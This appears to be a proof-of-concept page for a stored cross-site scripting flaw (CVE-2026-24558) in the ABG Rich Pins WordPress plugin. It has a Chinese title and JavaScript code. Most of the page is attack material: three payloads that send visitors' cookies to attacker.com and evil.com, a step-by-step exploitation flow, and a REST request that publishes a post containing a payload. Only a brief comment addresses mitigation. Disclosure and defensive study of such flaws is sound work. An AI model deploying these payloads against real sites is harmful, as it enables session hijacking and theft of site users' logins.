CVE-2026-24558 WordPress ABG Rich Pins插件存储型XSS漏洞

// CVE-2026-24558 PoC - Stored XSS in ABG Rich Pins WordPress Plugin // This PoC demonstrates the stored XSS vulnerability in ABG Rich Pins plugin <= 1.1 // Method 1: Inject via WordPress Post Content // When creating/editing a post, insert the following payload in the post content: const payload1 = `<img src=x onerror="fetch('https://attacker.com/log?cookie='+document.cookie)">`; // Method 2: Inject via Custom Fields (if plugin uses them) const payload2 = `<script>new Image().src='https://evil.com/steal?c='+document.cookie;</script>`; // Method 3: Inject via Plugin Settings (if any input fields exist) const payload3 = `<svg onload="fetch('https://attacker.com/exfil?data='+btoa(document.cookie))">`; // Exploitation flow: // 1. Attacker creates a post with XSS payload in content // 2. Plugin saves the post without sanitizing the payload // 3. When any user views the post page, the payload executes // 4. Attacker steals session cookies or performs other malicious actions // Example HTTP Request to trigger the vulnerability: const exploitRequest = { method: 'POST', url: '/wp-json/wp/v2/posts', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': 'YOUR_NONCE_HERE' }, body: JSON.stringify({ title: 'Test Post', content: '<p>Normal content with <img src=x onerror="alert(document.cookie)"> injected</p>', status: 'publish' }) }; // Mitigation: Plugin should use wp_kses() or similar functions to sanitize input // Example fix in PHP: // $sanitized_content = wp_kses($user_input, array('img' => array('src' => array()))); // Or use esc_html() for HTML context output
